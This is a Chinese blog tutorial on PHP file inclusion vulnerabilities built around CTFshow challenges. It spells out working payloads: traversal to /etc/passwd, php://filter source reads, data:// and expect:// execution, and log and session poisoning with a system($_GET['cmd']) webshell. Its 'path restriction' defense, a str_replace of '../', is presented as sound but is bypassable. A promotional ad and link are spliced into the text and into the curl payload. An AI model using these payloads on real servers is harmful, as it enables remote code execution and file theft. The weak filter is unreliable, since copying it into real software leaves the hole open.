1. 文件包含漏洞基础解析
文件包含(File Inclusion)是Web安全领域中一种常见的漏洞类型,它允许攻击者通过参数控制包含服务器上的任意文件。我第一次接触这个概念是在CTF比赛中,当时遇到一道题目需要利用本地文件包含读取服务器配置文件,从此对这个漏洞产生了浓厚兴趣。
文件包含漏洞主要分为两种类型:
- 本地文件包含(LFI):包含服务器本地的文件
- 远程文件包含(RFI):通过URL包含远程服务器上的文件
在PHP环境中,常见的危险函数包括:
php复制include()
include_once()
require()
require_once()
fopen()
file_get_contents()
注意:现代PHP版本默认关闭远程文件包含功能(allow_url_include=Off),所以RFI在实际中较少见,但LFI仍然广泛存在。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. CTF中的文件包含实战技巧
2.1 基础利用方法
在CTFshow等竞赛平台中,文件包含题目通常会限制文件路径。我总结了几种绕过技巧:
- 目录遍历:使用
../跳出限制目录
url复制http://example.com/?page=../../../../etc/passwd
- 空字节截断([PHP<5.3)
url复制http://example.com/?page=../../etc/passwd%00
- 长度截断(Windows)
url复制http://example.com/?page=../../etc/passwd...........................
- 协议利用
url复制http://example.com/?page=php://filter/convert.base64-encode/resource=index.php
2.2 日志文件注入
这是我参加CTFshow比赛时学到的一个实用技巧。当直接文件包含受阻时,可以尝试包含Web服务器日志:
- 先向访问日志注入PHP代码
bash复制curl -A "<?php system($_GET['cmd']);?>](https://taotoken.net/?utm_source=general)" http://target.com
- 然后包含日志文件
url复制http://target.com/?page=/var/log/apache2/access.log
实战心得:不同系统的日志路径不同,常见的有:
- /var/log/apache2/access.log
- /var/log/nginx/access.log
- /var/log/httpd/access_log
3. 文件包含漏洞的进阶利用
3.1 PHP伪协议详解
PHP提供了多种伪协议,在文件包含中非常有用:
- php://filter - 我最常用的协议
url复制?file=php://filter/convert.base64-encode/resource=config.php
- data:// - 直接执行代码
url复制?file=data://text/plain,<?php phpinfo();?>
- expect:// - 执行系统命令(需安装expect扩展)
url复制?file=expect://ls
3.2 会话文件包含
这是我在一次真实渗透测试中成功利用的技巧:
- 先设置恶意session
php复制<?php
session_start();
$_SESSION['evil'] = '<?php system($_GET["cmd"]);?>';
?>
- 包含session文件
url复制?page=/tmp/sess_[sessionid]
排查技巧:session文件路径可以通过phpinfo()查看session.save_path确定
4. 防御措施与安全开发建议
4.1 输入验证与过滤
根据我的开发经验,有效的防御措施包括:
- 白名单验证
php复制$allowed = ['home.php', 'about.php'];
if(in_array($_GET['page'], $allowed)) {
include($_GET['page']);
}
- 路径限制
php复制$page = str_replace('../', '', $_GET['page']);
include('/var/www/html/'.$page);
4.2 服务器配置加固
在生产环境中,我通常会做这些配置:
- PHP配置
code复制allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html
- Web服务器配置
apache复制<Directory /var/www/html>
php_admin_value open_basedir "/var/www/html"
</Directory>
5. 常见问题排查指南
在文件包含漏洞利用过程中,我遇到过这些典型问题:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 包含后无任何输出 | 文件不存在或权限不足 | 检查路径是否正确 |
| 返回空白页面 | 被包含文件有语法错误 | 使用base64编码查看源码 |
| 出现警告信息 | 包含的文件不存在 | 尝试绝对路径 |
| 返回403错误 | 目录浏览被禁止 | 尝试文件包含而非目录 |
6. 文件包含在CTFshow中的实战案例
6.1 CTFshow Web入门题解
以CTFshow的一道典型题目为例:
- 题目给出文件包含点
url复制http://target.com/?file=welcome.php
- 尝试读取源码
url复制http://target.com/?file=php://filter/convert.base64-encode/resource=index.php
- 解码后发现flag在config.php中
url复制http://target.com/?file=php://filter/convert.base64-encode/resource=config.php
6.2 结合其他漏洞的综合利用
在实际比赛中,我经常将文件包含与其他漏洞结合:
- 先通过SQL注入获取文件路径
- 然后使用文件包含读取敏感文件
- 最后通过文件上传获取webshell
这种组合攻击方式在CTFshow的高难度题目中经常出现。
7. 学习资源与实验环境搭建
7.1 推荐实验环境
根据我的测试经验,这些环境适合练习:
- DVWA (Damn Vulnerable Web Application)
- Metasploitable2
- Web for Pentester
配置技巧:在本地虚拟机中搭建这些环境时,记得做好网络隔离,避免成为攻击跳板。
7.2 学习路径建议
对于想深入学习的同学,我建议的学习顺序:
- 先理解PHP文件包含机制
- 在DVWA中练习基础利用
- 尝试CTFshow的入门题目
- 研究真实CMS中的文件包含漏洞
- 学习安全开发规范
在CTFshow比赛中,文件包含题目往往不是独立存在的,需要结合其他Web知识。我建议新手先从简单的LFI开始,逐步过渡到包含日志、session等高级技巧,最后再尝试RFI和伪协议利用。
